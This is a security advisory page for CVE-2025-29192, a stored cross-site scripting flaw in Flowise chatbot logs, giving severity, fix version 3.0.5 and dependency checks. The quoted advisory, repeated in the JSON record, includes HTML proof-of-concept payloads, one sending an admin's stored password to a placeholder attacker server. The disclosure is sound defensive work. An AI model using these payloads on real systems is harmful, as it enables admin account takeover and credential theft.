CVE-2025-29192: Flowise Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-7r4h-vmj9-wg42
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CVSS 5.3
CWE-79
Published
Advisory Summary

CVE-2025-29192 is a MODERATE (CVSS 5.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise stored xss vulnerability through logs in chatbot. Remediation is available by upgrading affected packages to version 3.0.5.

CVE-2025-29192 at a Glance

CVE Identifier CVE-2025-29192
GHSA Identifier GHSA-7r4h-vmj9-wg42
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-29192

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.0.5 
npm install flowise@3.0.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-29192, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.5), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps. ### Poc Video [poc](https://drive.google.com/file/d/1_3HwU0MxZ4HfJqpx2mOBjxf-WSCMM_4o/view?usp=sharing) ### Impact An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.

CVE-2025-29192 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.0.5
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm/flowise
npm
< 3.0.5
3.0.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42
NVD — CVE-2025-29192 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-29192
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/pull/4905
Security Fix Commit FIX COMMIT
https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise
Flowise Release RELEASE
https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5

Frequently Asked Questions

What is CVE-2025-29192?
CVE-2025-29192 is a security vulnerability in Flowise involving Flowise Stored XSS vulnerability through logs in chatbot under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Flowise versions are affected?
Affected versions include releases prior to 3.0.5 across affected packages: flowise.
What version fixes CVE-2025-29192?
Upgrading to 3.0.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.5. Upgrade your dependency to 3.0.5 or later.
What is the CVSS score of CVE-2025-29192?
CVE-2025-29192 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2025-29192?
CVE-2025-29192 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2025-29192?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7r4h-vmj9-wg42",
  "modified" : "2025-10-13T17:05:32Z",
  "published" : "2025-10-03T21:48:36Z",
  "aliases" : [ "CVE-2025-29192" ],
  "summary" : "Flowise Stored XSS vulnerability through logs in chatbot",
  "details" : "### Description\nIn the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.\n\n### PoC\n```html\n<form>\n  <input type=\"image\" src=\"/assets/account-3i3qpYzs.png\" width=\"800\" height=\"400\" formaction=\"javascript:alert('XSS!!!');\" />\n</form>\n```\nIf the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.\n```html\n<form>\n  <input type=\"image\" src=\"/assets/account-3i3qpYzs.png\" width=\"800\" height=\"400\" formaction=\"javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));\" />\n</form>\n```\nSo when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.\n\n### Poc Video\n[poc](https://drive.google.com/file/d/1_3HwU0MxZ4HfJqpx2mOBjxf-WSCMM_4o/view?usp=sharing)\n\n### Impact\nAn attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-29192"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/4905"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-03T21:48:36Z",
    "nvd_published_at" : null
  }
}